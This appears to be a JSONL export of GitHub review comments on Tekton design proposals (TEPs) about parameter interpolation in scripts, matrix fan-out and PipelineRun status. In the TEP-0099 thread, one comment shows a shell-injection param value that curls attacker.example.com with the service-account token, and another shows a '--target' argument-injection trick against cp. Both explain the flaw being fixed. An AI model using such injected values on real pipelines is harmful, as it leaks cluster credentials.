task they don't own that has params embedded in a script-- but ideally as you mentioned we should be able to automate updating Tasks, and all catalog tasks should be updated.)\r\n\r\nI like that allowing this behavior to be configurable by cluster operators doesn't force everyone to audit catalog Tasks for security, but I'm not sure why someone might need it.", "comment_id": 779622080, "created_at": "2022-01-06T15:17:52Z", "line": null, "path": "teps/0099-parameters-in-script.md", "pr_number": 596, "repo": "community"} +{"author": "jerop", "body": "fixed the numbering \ud83d\udc4d\ud83c\udffe ", "comment_id": 779624845, "created_at": "2022-01-06T15:21:29Z", "line": 142, "path": "teps/0099-parameters-in-script.md", "pr_number": 596, "repo": "community"} +{"author": "jerop", "body": "fixed the formatting \ud83d\udc4d\ud83c\udffe ", "comment_id": 779625250, "created_at": "2022-01-06T15:22:00Z", "line": null, "path": "teps/0099-parameters-in-script.md", "pr_number": 596, "repo": "community"} +{"author": "jerop", "body": "fixed the formatting \ud83d\udc4d\ud83c\udffe ", "comment_id": 779625445, "created_at": "2022-01-06T15:22:17Z", "line": null, "path": "teps/0099-parameters-in-script.md", "pr_number": 596, "repo": "community"} +{"author": "lbernick", "body": "Can you elaborate on why this is safer than the current behavior? Are results safe to use in scripts, while params are (currently) not? How are the parameter values in scripts replaced with their values in this proposal?", "comment_id": 779626461, "created_at": "2022-01-06T15:23:36Z", "line": 324, "path": "teps/0099-parameters-in-script.md", "pr_number": 596, "repo": "community"} +{"author": "jerop", "body": "good idea to warn in previous versions :) ", "comment_id": 779628284, "created_at": "2022-01-06T15:25:53Z", "line": null, "path": "teps/0099-parameters-in-script.md", "pr_number": 596, "repo": "community"} +{"author": "lbernick", "body": "Will shell escaping prevent all shell injection vulnerabilities? Our [catalog guidance](https://github.com/tektoncd/catalog/blob/main/recommendations.md#dont-use-interpolation-in-scripts-or-string-arguments) says that \"no amount of escaping will be air-tight\".\r\n\r\nThis sounds safer than current behavior but it seems like it will still lead to users having to audit Tasks for security.", "comment_id": 779635228, "created_at": "2022-01-06T15:34:43Z", "line": null, "path": "teps/0099-parameters-in-script.md", "pr_number": 596, "repo": "community"} +{"author": null, "body": "Yeah, that's the definition of \"operator\" we had in mind.\r\n\r\nThe intention was to support users who have legacy Tasks that haven't been updated to access params in whatever way we decide here. Automation should be able to fix 90% of cases I hope and validation could disallow the rest, but the idea was to give operators that extra wiggle room if they really really don't have the bandwidth to update an existing Task that's vital to some part of their infra.\r\n\r\nI definitely don't have any user reports to hand requesting this kind of support though.", "comment_id": 779656250, "created_at": "2022-01-06T16:02:15Z", "line": null, "path": "teps/0099-parameters-in-script.md", "pr_number": 596, "repo": "community"} +{"author": "vdemeester", "body": "We want things to be safe, I am not sure we want to \"disallow\" `Parameter` variables in `sciprt` if we can find a way to make it safely right ?", "comment_id": 779677800, "created_at": "2022-01-06T16:30:12Z", "line": null, "path": "teps/0099-parameters-in-script.md", "pr_number": 596, "repo": "community"} +{"author": "vdemeester", "body": "I think the use of `script` highlight this problem *but* I don't think it's limited to it, right ? You could definitely still use `Parameter` to inject malicious code without script (and with env var), it's just *harder* \ud83d\ude43 ", "comment_id": 779679833, "created_at": "2022-01-06T16:33:04Z", "line": 135, "path": "teps/0099-parameters-in-script.md", "pr_number": 596, "repo": "community"} +{"author": "vdemeester", "body": "I agree with `4.` but not necessarily with this. Disallowing `Parameter` variable interpolation in srcipt is one way to achieve `4.`, it might not be the only way.", "comment_id": 779681278, "created_at": "2022-01-06T16:35:09Z", "line": null, "path": "teps/0099-parameters-in-script.md", "pr_number": 596, "repo": "community"} +{"author": "vdemeester", "body": "As stated above, I am not sure why we \"assume\" we can't fix this without being backward incompatible. If we disallow parameter variable interpolation in `script`, of course we will, but is it the only way to do it ?", "comment_id": 779683141, "created_at": "2022-01-06T16:37:38Z", "line": null, "path": "teps/0099-parameters-in-script.md", "pr_number": 596, "repo": "community"} +{"author": "vdemeester", "body": "Isn't this a \"user\" mutation (aka that's up to the user to add the `.shell-escaped`) ?", "comment_id": 779685642, "created_at": "2022-01-06T16:41:09Z", "line": null, "path": "teps/0099-parameters-in-script.md", "pr_number": 596, "repo": "community"} +{"author": null, "body": "Params are interpolated directly into the script before it's passed to the container to run. Any value passed to a param is inserted into the script verbatim and executed as if the original script included it - the controller doesn't touch the string content and the container itself doesn't know any different. Plucking out one of the examples from the TEP:\r\n\r\n```yaml\r\n steps:\r\n - name: foo\r\n image: myimage\r\n script: |\r\n echo $(params.bar)\r\n```\r\n\r\nIf a TaskRun passes the value like this:\r\n\r\n```yaml\r\nparams:\r\n- name: bar\r\n value: $(curl -s http://attacker.example.com/?value=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token))\r\n```\r\n\r\n... then the script that the container executes is:\r\n\r\n```bash\r\necho $(curl -s http://attacker.example.com/?value=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token))\r\n```", "comment_id": 779686438, "created_at": "2022-01-06T16:42:12Z", "line": 324, "path": "teps/0099-parameters-in-script.md", "pr_number": 596, "repo": "community"} +{"author": "vdemeester", "body": "imho as @sbwsg it might be for all things that can be interpolate in the `script`. ", "comment_id": 779687706, "created_at": "2022-01-06T16:44:02Z", "line": 554, "path": "teps/0099-parameters-in-script.md", "pr_number": 596, "repo": "community"} +{"author": "lbernick", "body": "Thanks! What I'm confused about is why writing the value of the parameter to the filesystem prevents this problem. Based on the sample scripts provided, it looks like Tekton is still going to substitute the parameter value into the script. I may be misunderstanding the proposal here, but it sounds like the parameter values are being copied to a different location before being substituted into the script. Why would that prevent injection attacks?", "comment_id": 779697888, "created_at": "2022-01-06T16:57:36Z", "line": 324, "path": "teps/0099-parameters-in-script.md", "pr_number": 596, "repo": "community"} +{"author": null, "body": "Ah I see! I think the intention here was to inject the path to the file instead of the content of the file itself.\r\n\r\nThe doc says:\r\n\r\n> However, instead of exposing the file path, we would hide it behind a variable (possibly reusing `$(params.)`.\r\n\r\nI believe this means that instead of having the user type out the literal path to the param file, we'd use a variable to give them the path instead. So `$(params.foo)` would become `/tekton/params/foo`. Variables are preferable rather than hard-codes paths so that, as much as possible, specific paths don't get forever burned in to an API contract.\r\n\r\nSo the safety aspect comes from the fact that, in order to inject code, a `script` would first have to explicitly choose to execute a param from a file, rather than having the content of that param in-lined into the `script` field itself.", "comment_id": 779707308, "created_at": "2022-01-06T17:10:43Z", "line": 324, "path": "teps/0099-parameters-in-script.md", "pr_number": 596, "repo": "community"} +{"author": "lbernick", "body": "Thanks, this makes a lot more sense! The example might be more clear if the output script is changed to reflect the fact that it's now reading from a file, e.g. `cat $(params.foo)`. This looks like it would be much more challenging to automate.", "comment_id": 779747637, "created_at": "2022-01-06T17:58:07Z", "line": 324, "path": "teps/0099-parameters-in-script.md", "pr_number": 596, "repo": "community"} +{"author": "lbernick", "body": "Agreed with concerns about shell-escaping. My preferred approach would be to disallow interpolation in scripts, and to have an opt-out feature that makes parameters available as env vars (as proposed in alternative 1).", "comment_id": 779749647, "created_at": "2022-01-06T18:01:17Z", "line": 556, "path": "teps/0099-parameters-in-script.md", "pr_number": 596, "repo": "community"} +{"author": null, "body": "You're totally right @lbernick : being backwards incompatible is not the end goal here. We'll update this bit.\r\n\r\n@vdemeester Maybe we could define backwards compatibility more clearly here?\r\n\r\nThe TEP is treating \"Backwards compatible\" to mean we continue to support users injecting executable statements from params into scripts using the current param syntax. E.g. continue to [support the code injection use-case in the `git-clone` catalog task that spurred some of this discussion](https://github.com/tektoncd/catalog/pull/711#issuecomment-845228173).\r\n\r\nI'm not sure we can have it both ways though. Today we support the direct interpolation of param values into script bodies as executable statements. Changing that is de facto backwards incompatible I think. As soon as we treat param values as something to sanitize then it necessarily means those values will be escaped before insertion (rendered non-executable), stringified as env vars, put in a file on disk, or something else.", "comment_id": 780417383, "created_at": "2022-01-07T17:31:30Z", "line": null, "path": "teps/0099-parameters-in-script.md", "pr_number": 596, "repo": "community"} +{"author": null, "body": "I'll update the wording here to something like this:\r\n\r\n```\r\n- By default in v1, prevent implicit interpolatin of param values into executable\r\n contexts unless we can validate that doing so is safe.\r\n```", "comment_id": 780428398, "created_at": "2022-01-07T17:50:48Z", "line": null, "path": "teps/0099-parameters-in-script.md", "pr_number": 596, "repo": "community"} +{"author": null, "body": "Yeah I think the line we want to draw is between \"this is the default for param values\" and \"this is possible with param values\". At the moment execution of param values as script statements is the default.", "comment_id": 780429192, "created_at": "2022-01-07T17:52:18Z", "line": 135, "path": "teps/0099-parameters-in-script.md", "pr_number": 596, "repo": "community"} +{"author": "mogsie", "body": "Just a side note. Yes, it is a nice goal to avoid having to understand \"advanced topics\", but I think when writing any language, there must be some fundamental understanding. Even a simple script like `cp $PARAM_SOURCE $PARAM_TARGET` is not good enough; you must know about how whitespace is treated. But `cp \"$PARAM_SOURCE\" \"$PARAM_TARGET\"` isn't good either, because if a source file name is called `--foo` for whatever reason, the command fails.\r\n\r\nAn attack vector here is setting `$PARAM_SOURCE` to `--target=/somewhere` \u2014 so that the script ends up being:\r\n\r\n```\r\ncp --target=/somewhere target\r\n```\r\nwhich ends up copying target *to* /somewhere. Imagine an attacker updating a tekton result, if you can guess the path of a result, causing tasks further down the line to misbehave.\r\n\r\n(FWIW the correct way to copy is therefore `cp -- \"$PARAM_SOURCE\" \"$PARAM_TARGET\"`).\r\n\r\nThis is just one of the numerous common [bash pitfalls](http://mywiki.wooledge.org/BashPitfalls).\r\n\r\nThe same problem is apparent in _any_ language (the guidance I wrote showed how to break out of a python string / heredoc; interpolating strings into source code and then handing that source code over to a parser **securely** is an incredibly difficult problem to solve. This is why we have things like arguments, environment variables, stored procedures for SQL, and so on; to avoid problems that arise when escaping.", "comment_id": 780661857, "created_at": "2022-01-08T11:53:54Z", "line": 233, "path": "teps/0099-parameters-in-script.md", "pr_number": 596, "repo": "community"} +{"author": "mogsie", "body": "I wrote this part of the catalog guidance, and it is there mainly because the premise of escaping is flawed; when the result will be parsed from scratch by the interpreter, e.g. bash or python. I actually think it's impossible to create an escaping solution that \"just works\" in all situations. e.g. if I have the following script\r\n\r\n```\r\n#!/bin/sh\r\necho $(params.bar)\r\necho \"$(params.bar)\"\r\necho '$(params.bar)'\r\ncat < While removing a trailing linebreak characters is often the right thing \u2014 sometimes it is not, and knowing when to do what is important.\r\n\r\nOur aim with this TEP is not to \"fix\" bash scripting, or even make it easier really. As you mentioned elsewhere we have to lean a little bit on script authors to be knowledgeable about the language they're using.\r\n\r\nWe're really looking for something like an \"as-close-as-possible-to-existing-behaviour\" solution that allows us to stop injecting content into executable contexts by default. I've taken the `read`-based approach you described in the Alternatives of this doc so that we continue respecting any leading and trailing whitespace, similar to if the content of the param were injected directly.\r\n\r\nYour example elsewhere of prepared statements in SQL is spot on for the intentions behind this TEP I think!", "comment_id": 785098611, "created_at": "2022-01-14T19:25:31Z", "line": null, "path": "teps/0099-parameters-in-script.md", "pr_number": 596, "repo": "community"} +{"author": "lbernick", "body": "nit: qe -> we", "comment_id": 781487493, "created_at": "2022-01-10T19:28:50Z", "line": null, "path": "teps/0090-matrix.md", "pr_number": 600, "repo": "community"} +{"author": "lbernick", "body": "Would it be possible to add a bit more background on how this TEP will interact with TEPs 75 and 76? I want to avoid increasing the scope of this TEP too much, but I'm concerned about implementing a solution that would make those TEPs more difficult to support.\r\nAlso, it looks like a non goal for TEP 75 is \"Adding support for nesting, e.g. object params where the values are themselves objects or arrays\".", "comment_id": 781496304, "created_at": "2022-01-10T19:42:40Z", "line": null, "path": "teps/0090-matrix.md", "pr_number": 600, "repo": "community"} +{"author": "lbernick", "body": "```suggestion\r\n##### Support for Array Parameters in a Matrix\r\n```", "comment_id": 781510322, "created_at": "2022-01-10T20:03:42Z", "line": null, "path": "teps/0090-matrix.md", "pr_number": 600, "repo": "community"} +{"author": "lbernick", "body": "another alternative could be the [github actions syntax](https://docs.github.com/en/actions/learn-github-actions/workflow-syntax-for-github-actions), where the matrix is defined at the pipeline level. I think this is a pretty nice option.", "comment_id": 781606962, "created_at": "2022-01-10T22:11:33Z", "line": 1490, "path": "teps/0090-matrix.md", "pr_number": 600, "repo": "community"} +{"author": "jerop", "body": "yes yes, wrote about it in the related work section in the problem statement: https://github.com/tektoncd/community/blob/main/teps/0090-matrix.md#github-actions\r\n\r\nhowever, our use cases are at the task level so providing the matrix at the pipeline level will not solve those use cases so don't think we should add that to the alternatives\r\n\r\nwe can explore adding matrix to the pipeline level as well later, if we have use cases for that ", "comment_id": 781679715, "created_at": "2022-01-11T00:43:45Z", "line": 1490, "path": "teps/0090-matrix.md", "pr_number": 600, "repo": "community"} +{"author": "jerop", "body": "> Would it be possible to add a bit more background on how this TEP will interact with TEPs 75 and 76? I want to avoid increasing the scope of this TEP too much, but I'm concerned about implementing a solution that would make those TEPs more difficult to support.\r\n\r\nTEP-0075 and TEP-0076 will be modifying the `Parameters` and `Results` specifications / types. \r\n\r\nThe proposed design here is only consuming `Parameters` and `Results` - it doesn't modify their types at all - therefore this TEP can't make it difficult to support TEP-0075 or TEP-0076. \r\n\r\nThe role that this TEP plays is providing more use cases and motivation for us to support TEP-0075 and TEP-0076. \r\n\r\n> Also, it looks like a non goal for TEP 75 is \"Adding support for nesting, e.g. object params where the values are themselves objects or arrays\".\r\n\r\nI was under the impression that it would support nesting from previous conversations, but maybe that's an option that we intend to pursue in the follow on work after those TEP-0075 (cc @bobcatfish @wlynch). In any case, the use cases we are solving for do not need arrays of arrays. This section is meant to anticipate future expansions of matrix. As noted below, this is something that we can explore later after adding richer Parameter types, if we have use cases for it. ", "comment_id": 781683562, "created_at": "2022-01-11T00:54:44Z", "line": null, "path": "teps/0090-matrix.md", "pr_number": 600, "repo": "community"} +{"author": "vinamra28", "body": "how about referencing the results of the task with `$(tasks.-.results.)` ?", "comment_id": 784032963, "created_at": "2022-01-13T14:53:51Z", "line": null, "path": "teps/0090-matrix.md", "pr_number": 600, "repo": "community"} +{"author": "vinamra28", "body": "moreover, how are we going to handle the workspaces if the task is writing something to it and we plan to run it parallelly?", "comment_id": 784037627, "created_at": "2022-01-13T14:58:10Z", "line": null, "path": "teps/0090-matrix.md", "pr_number": 600, "repo": "community"} +{"author": "afrittoli", "body": "I understand the reason for this, but I think it would limit the usability of the matrix, since it won't work if the array parameter is then exposed all the way up to the `Pipeline` inputs. \r\n\r\nThis may change once we support array results, in which case a Task could read the matrix configuration from somewhere or generated it based on certain criteria, and the array result could then be fed into the matrix (\ud83d\ude0e ).\r\n\r\n", "comment_id": 797669065, "created_at": "2022-02-02T14:35:45Z", "line": 742, "path": "teps/0090-matrix.md", "pr_number": 600, "repo": "community"} +{"author": "afrittoli", "body": "This limitation is really limiting \ud83d\ude13 \r\nI agree that there is no easy way around it, without having more structured results, but we could consider workarounds, like producing a serialised JSON representation of the results. It gets complicated easily with more dimensions though...", "comment_id": 797712630, "created_at": "2022-02-02T15:14:54Z", "line": null, "path": "teps/0090-matrix.md", "pr_number": 600, "repo": "community"} +{"author": "afrittoli", "body": "I understood we wouldn't support results in the first implementation?", "comment_id": 797719148, "created_at": "2022-02-02T15:21:20Z", "line": null, "path": "teps/0090-matrix.md", "pr_number": 600, "repo": "community"} +{"author": "afrittoli", "body": "This depends on TEP-0075/0076?", "comment_id": 797720546, "created_at": "2022-02-02T15:22:41Z", "line": null, "path": "teps/0090-matrix.md", "pr_number": 600, "repo": "community"} +{"author": "afrittoli", "body": "Separating phase1 and phase2 will reduce the size of the PR, but I would prefer to at least keep them together in a release.", "comment_id": 797730618, "created_at": "2022-02-02T15:31:57Z", "line": null, "path": "teps/0090-matrix.md", "pr_number": 600, "repo": "community"} +{"author": "afrittoli", "body": "Workspaces and all other `PipelineTask` features would be supported here, except for results and `Runs`, right?", "comment_id": 797731428, "created_at": "2022-02-02T15:32:46Z", "line": null, "path": "teps/0090-matrix.md", "pr_number": 600, "repo": "community"} +{"author": "jerop", "body": "that's right, won't be supported in the first implementation but we discuss some possibilities in the proposal", "comment_id": 800877309, "created_at": "2022-02-07T17:12:33Z", "line": null, "path": "teps/0090-matrix.md", "pr_number": 600, "repo": "community"} +{"author": "jerop", "body": "that's right, removed it from the implementation plan then we'll revisit when TEP-0075 and TEP-0076 are in", "comment_id": 800882775, "created_at": "2022-02-07T17:18:37Z", "line": null, "path": "teps/0090-matrix.md", "pr_number": 600, "repo": "community"} +{"author": "jerop", "body": "good idea, collapsed phase 1 and phase 2 into one milestone to be included in one release (but still in separate pull request)", "comment_id": 800884120, "created_at": "2022-02-07T17:20:03Z", "line": null, "path": "teps/0090-matrix.md", "pr_number": 600, "repo": "community"} +{"author": "jerop", "body": "that's right, all pipelinetask features would be supported except results and runs (in milestone 1)", "comment_id": 800884678, "created_at": "2022-02-07T17:20:39Z", "line": null, "path": "teps/0090-matrix.md", "pr_number": 600, "repo": "community"} +{"author": "jerop", "body": "It seems that we are making great progress in [TEP-0075](https://github.com/tektoncd/community/pull/479) and [TEP-0076](https://github.com/tektoncd/community/pull/477) so I'd prefer that we wait for the structured Results proposed in those TEPs to be available instead of providing a temporary workaround as we wait for them (cc @bobcatfish)", "comment_id": 801090351, "created_at": "2022-02-07T21:54:31Z", "line": null, "path": "teps/0090-matrix.md", "pr_number": 600, "repo": "community"} +{"author": "jerop", "body": "addressed this in the proposal: https://github.com/jerop/community/blob/matrix-proposal/teps/0090-matrix.md#workspaces", "comment_id": 801108792, "created_at": "2022-02-07T22:23:17Z", "line": null, "path": "teps/0090-matrix.md", "pr_number": 600, "repo": "community"} +{"author": "jerop", "body": "Agreed, TEP-0075 and TEP-0076 will help here - in the meantime, we can make progress with Matrix as we wait on that and iteratively support more features as they're available :) ", "comment_id": 802874267, "created_at": "2022-02-09T16:44:41Z", "line": 742, "path": "teps/0090-matrix.md", "pr_number": 600, "repo": "community"} +{"author": "afrittoli", "body": "Thank you for adding this!\r\n\r\nDoes it mean that if a matrix goes beyond that level it fails validation, or that only the first chunk of the matrix is executed, or that the whole matrix is executed but we limit concurrency?\r\nIs the limit applied to each matrix individually?", "comment_id": 802981114, "created_at": "2022-02-09T18:42:50Z", "line": null, "path": "teps/0090-matrix.md", "pr_number": 600, "repo": "community"} +{"author": "afrittoli", "body": "+1 sounds like a good approach, but I wonder if actual parameters are not already available in the `TaskRun` status? In light of keeping the size of status to a minimum (see TEP-0100), perhaps adding the combination ID is enough? We cannot assume the ID to be in the `TaskRun` name as the name might be hashed if it's too long.", "comment_id": 802990322, "created_at": "2022-02-09T18:54:33Z", "line": null, "path": "teps/0090-matrix.md", "pr_number": 600, "repo": "community"} +{"author": "afrittoli", "body": "I wonder if instead of having a new `matrixesCombinations` field in there, we could use the existing `PipelineRunStatusFields` which map a `pipelineTaskName` to a `taskRunName` or `runName` today, and extend that to include the combinations in there, something like:\r\n\r\n```\r\n taskRuns:\r\n matrix-pipeline-neo-task-0:\r\n pipelineTaskName: neo-task\r\n matrixId: 0\r\n params: <-- perhaps not needed?\r\n - name: pill\r\n value: blue\r\n status: {}\r\n matrix-pipeline-neo-task-1:\r\n pipelineTaskName: neo-task\r\n matrixId: 1\r\n params: <-- perhaps not needed?\r\n - name: pill\r\n value: red\r\n status: {}", "comment_id": 803000813, "created_at": "2022-02-09T19:07:59Z", "line": null, "path": "teps/0090-matrix.md", "pr_number": 600, "repo": "community"} +{"author": "jerop", "body": "Agreed, updated the proposal to only have the combination ID :) ", "comment_id": 803046276, "created_at": "2022-02-09T20:07:41Z", "line": null, "path": "teps/0090-matrix.md", "pr_number": 600, "repo": "community"} +{"author": "jerop", "body": "much better, updated the proposal to use `PipelineRunStatusFields`, thank you :) ", "comment_id": 803047064, "created_at": "2022-02-09T20:08:41Z", "line": null, "path": "teps/0090-matrix.md", "pr_number": 600, "repo": "community"} +{"author": "jerop", "body": "As discussed on Slack, updated the proposal:\r\n\r\n> When a `Matrix` in `PipelineTask` would generate more than the maximum `TaskRuns` or `Runs`, this would fail the `Pipeline` in the first iteration. After initial usage of `Matrix`, we can explore other ways of supporting usage beyond that limit, such as allowing `TaskRuns` or `Runs` only up to the limit to run at a time, in a follow-up TEP.\r\n\r\n", "comment_id": 803048213, "created_at": "2022-02-09T20:10:17Z", "line": null, "path": "teps/0090-matrix.md", "pr_number": 600, "repo": "community"} +{"author": "bobcatfish", "body": "nit: Am I right that this is assuming that the task `test` has a result called `output`? (i.e. `output` is the name of the result, not a special key word?) might be worth a comment in the yaml clarifying this (or example of the Task itself)\r\n\r\n(also might help to show an example of what the messages param would receive as a value in this case)", "comment_id": 804916057, "created_at": "2022-02-11T18:43:48Z", "line": null, "path": "teps/0090-matrix.md", "pr_number": 600, "repo": "community"} +{"author": "bobcatfish", "body": "Following up on our discussion Wednesday, I agree with @wlynch 's hesitation around changing the structure of the result based on how it is used\r\n\r\n(also apologies @jerop b/c we definitely discussed this ages ago as well and now im changing my mind XD)\r\n\r\ni.e. when used in a non-matrix-ed pipline task, `$(tasks..results.)` would have the type declared by the task `` is using, but when used with a matrix, this is now always an array, where each individual value is the type declared by the task\r\n\r\nthe alternatives section explores a couple of other options but mentions challenges due to the dynamic nature of the results (you don't know how many there will be in advance, or what the taskrun names will be, and you still want to be able to map these results back to the individual taskrun that produced them)\r\n\r\n@wlynch mentioned an alternative which would involve leaning on json path that i think it might be worth pursuing, as a way to:\r\n* pick a structure that doesn't make the type of the result change based on how it's used\r\n* make it possible to map the results back to the individual taskruns\r\n* not require you to know the number of elements on their names in advance\r\n\r\nin order for this to help I think we'd need to make a change to how the results are emitted in this case, i have 2 ideas which both have their own downsides:\r\n\r\n1. Replace `` with the name of the matrixed taskrun, i.e. `$(tasks..results.)`, e.g. `$(tasks.test-chrome-linux.results.)`\r\n2. When running in matrix mode, the value at `tasks.` becomes a map of the matrixed item (e.g. taskrun name or just identifiers like `chrome-linux`) to the per. taskrun variable replacements, i.e. `$(tasks...results.)`, e.g. `$(tasks.test.chrome-linux.results.)`\r\n2b. Same as 2, but nest the results for each combo, e.g. `$(tasks.test.chrome.linux.results.)`\r\n\r\n(1) is odd b/c it means that sometimes the keys in `tasks` are the pipeline task names, and sometimes the taskrun names, im not a huge fan of the inconsistency\r\n(2) still changes the shape of the variable replacement, but I like that it doesn't change the shape of the result itself (i.e. a string result is still a string)\r\n\r\n\"but wait,\" i hear you say \"this doesn't help any of the problems I already identified! you won't know `chrome-linux` or the taskrun name or the number of items, etc. in advance!\"\r\n\r\nthis is where the jsonpath option makes things interesting! in the current proposal, conceptually we are providing variable replacement with a json object like this:\r\n\r\n```json\r\n{\r\n \"tasks\": {\r\n \"test\": {\r\n \"results\": {\r\n \"output\": {\r\n \"chrome\": \"45 tests passed\",\r\n \"firefox\": \"44 tests passed, 1 failed\"\r\n }\r\n }\r\n }\r\n }\r\n}\r\n```\r\n\r\nlet's say we go with option 2 (`$(tasks...results.)`), then we'd be providing a json object like this:\r\n\r\n```json\r\n{\r\n \"tasks\": {\r\n \"test\": {\r\n \"chrome\": {\r\n \"results\": {\r\n \"output\": \"45 tests passed\"\r\n }\r\n },\r\n \"firefox\": {\r\n \"results\": {\r\n \"output\": \"44 tests passed, 1 failed\"\r\n }\r\n }\r\n }\r\n }\r\n}\r\n```\r\n\r\nSo you could access a specific string value with `$(tasks.test.chrome.results.output)` which we already know BUT what if we also allowed `$(tasks.test)`? which could resolve to:\r\n\r\n```json\r\n[\r\n {\r\n \"chrome\": {\r\n \"results\": {\r\n \"output\": \"45 tests passed\"\r\n }\r\n },\r\n \"firefox\": {\r\n \"results\": {\r\n \"output\": \"44 tests passed, 1 failed\"\r\n }\r\n }\r\n }\r\n]\r\n```\r\n\r\nAnd if we later let you use more json path syntax, you could change the structure if you wanted, e.g.:\r\n\r\n```\r\n$(tasks.test[*].results.output)\r\n```\r\nWould result in:\r\n```json\r\n[\r\n \"45 tests passed\",\r\n \"44 tests passed, 1 failed\"\r\n]\r\n```\r\n\r\nHalfway through this I realized it wasn't really the additional json path features part that was important, it was really us shifting the syntax a little to treat the variable replacement as json path being applied to a json object -a and expanding that object a little for this use case", "comment_id": 804987838, "created_at": "2022-02-11T20:35:43Z", "line": null, "path": "teps/0090-matrix.md", "pr_number": 600, "repo": "community"} +{"author": "jerop", "body": "Thanks for this detailed follow up Christie! \r\n\r\nI like this suggestion, and would love to explore it more when TEP-0075 and TEP-0075 have landed. The design mentioned was just one option, but as noted much further down solving for this is not in scope for this TEP. Removed this section from the proposal, and added an explicit non-goal. Excited to explore this further later!", "comment_id": 805019662, "created_at": "2022-02-11T21:34:46Z", "line": null, "path": "teps/0090-matrix.md", "pr_number": 600, "repo": "community"} +{"author": "jerop", "body": "yes, `output` is a `Result` but remove this section as it's out of scope, to be explored when TEP-0075 and TEP-0076 land", "comment_id": 805020015, "created_at": "2022-02-11T21:35:27Z", "line": null, "path": "teps/0090-matrix.md", "pr_number": 600, "repo": "community"} +{"author": "vdemeester", "body": "nit: could be named something else than `kaniko-pipeline` ? \ud83d\ude1d ", "comment_id": 805867146, "created_at": "2022-02-14T13:57:18Z", "line": null, "path": "teps/0090-matrix.md", "pr_number": 600, "repo": "community"} +{"author": "vdemeester", "body": "Do we want to support matrix in finally ? What is the use case there ?", "comment_id": 805870108, "created_at": "2022-02-14T14:00:30Z", "line": 1122, "path": "teps/0090-matrix.md", "pr_number": 600, "repo": "community"} +{"author": "vdemeester", "body": "The gist of this part is \"we don't do any magic with Workspaces as part of the matrix proposal\" right ? We let the user \"handle\" this the way the want ?", "comment_id": 805872080, "created_at": "2022-02-14T14:02:44Z", "line": 1228, "path": "teps/0090-matrix.md", "pr_number": 600, "repo": "community"} +{"author": "vdemeester", "body": "Does this mean one of the \"execution\" will restart multiple times only if it failed or if any other \"part of the matrix\" failed ? ", "comment_id": 805873149, "created_at": "2022-02-14T14:04:00Z", "line": null, "path": "teps/0090-matrix.md", "pr_number": 600, "repo": "community"} +{"author": "jerop", "body": "Yes, the `Tasks` in `finally` also need to be fanned out from an array of inputs such as sending notifications\r\n\r\nFor example, I may want to send notifications to several slack channels by fanning out the [*send-to-channel-slack*](https://github.com/tektoncd/catalog/tree/main/task/send-to-channel-slack/0.1) `Task` from the Catalog in the `finally` section of my `Pipeline`", "comment_id": 805933291, "created_at": "2022-02-14T15:02:44Z", "line": 1122, "path": "teps/0090-matrix.md", "pr_number": 600, "repo": "community"} +{"author": "jerop", "body": "exactly, then based on initial feedback we can decide if we want to do something later", "comment_id": 805934002, "created_at": "2022-02-14T15:03:25Z", "line": 1228, "path": "teps/0090-matrix.md", "pr_number": 600, "repo": "community"} +{"author": "jerop", "body": "the former, clarified that in the TEP", "comment_id": 805935515, "created_at": "2022-02-14T15:04:56Z", "line": null, "path": "teps/0090-matrix.md", "pr_number": 600, "repo": "community"} +{"author": "pritidesai", "body": "pipelineRun status contains `startTime`, `completionTime`, `conditions` (indicating success or failure of pipelineRun itself), `pipelineResults`, `pipelineSpec`, a map of `taskRuns`, and a map of `runs`.\r\n\r\nHere, we are trying to optimize the map of `taskRun` and `run`. Each `taskRun` and `run` in turn contains `startTime`, `completionTime`, `conditions` (indicating success or failure of taskRun/run itself), `podName`, a list of steps, `taskResults`, and `taskSpec`.\r\n\r\n\r\n\r\n", "comment_id": 792110606, "created_at": "2022-01-25T20:53:48Z", "line": null, "path": "teps/0100-embedded-taskruns-and-runs-status-in-pipelineruns.md", "pr_number": 606, "repo": "community"} +{"author": "vdemeester", "body": "One of *today's* requirement is that it has to contain the related \"resolved\" definition (`Pipeline` for `PipelineRun` and `Task` for `TaskRun`) so that we don't fetch the definition each and every time. We may not want to keep that requirement but we should keep the behavior (fetch the definition only once)", "comment_id": 792832118, "created_at": "2022-01-26T16:41:01Z", "line": null, "path": "teps/0100-embedded-taskruns-and-runs-status-in-pipelineruns.md", "pr_number": 606, "repo": "community"} +{"author": "chmouel", "body": "it may be nice to mention what are we \"loosing\" out of the optimizations, which fields are going to be not available anymore for tools/users to parse.\r\n\r\nan example of the expected status would be nice too,", "comment_id": 792860152, "created_at": "2022-01-26T17:10:04Z", "line": null, "path": "teps/0100-embedded-taskruns-and-runs-status-in-pipelineruns.md", "pr_number": 606, "repo": "community"} +{"author": "jerop", "body": "Thank you for the reviews @pritidesai and @chmouel!\r\n\r\n@pritidesai added a background section providing more information about the `PipelineRunStatus` as you described above\r\n\r\n@chmouel we plan to discuss what fields will be removed and provide examples in the proposal (which will be added in the next pull request) - added an \"open questions\" section with your question above to ensure they will be addressed in the proposal", "comment_id": 795251269, "created_at": "2022-01-30T21:30:04Z", "line": null, "path": "teps/0100-embedded-taskruns-and-runs-status-in-pipelineruns.md", "pr_number": 606, "repo": "community"} +{"author": "jerop", "body": "Thanks for the review @vdemeester! \r\n\r\nThe resolved `PipelineSpec` is out of scope for this TEP (only targeting the `TaskRuns` and `Runs`) - added a background section clarifying this :) ", "comment_id": 795251493, "created_at": "2022-01-30T21:31:50Z", "line": null, "path": "teps/0100-embedded-taskruns-and-runs-status-in-pipelineruns.md", "pr_number": 606, "repo": "community"} +{"author": "pritidesai", "body": "please add a [link](https://github.com/tektoncd/pipeline/blob/main/docs/install.md#customizing-the-pipelines-controller-behavior) to the supported properties in the proposal.\r\n\r\nAlso, please update the documentation in the implementation PR to include this new `configmap` once the proposal is merged.", "comment_id": 792067687, "created_at": "2022-01-25T19:51:54Z", "line": 85, "path": "teps/0085-per-namespace-controller-configuration.md", "pr_number": 607, "repo": "community"} +{"author": "pritidesai", "body": "Please add one more sentence explaining this env. variable can be set in the pipeline-controller deployment resource. Thanks for adding example below \ud83d\udc4d \r\n\r\nWhat happens when a namespace is listed in the deployment resource but does not exist in the system? Please add a little more explanation on such scenarios. ", "comment_id": 792072251, "created_at": "2022-01-25T19:57:57Z", "line": 97, "path": "teps/0085-per-namespace-controller-configuration.md", "pr_number": 607, "repo": "community"} +{"author": "pritidesai", "body": "Since the customization is spreading across the entire namespace, I am guessing all the resources under that namespace will be 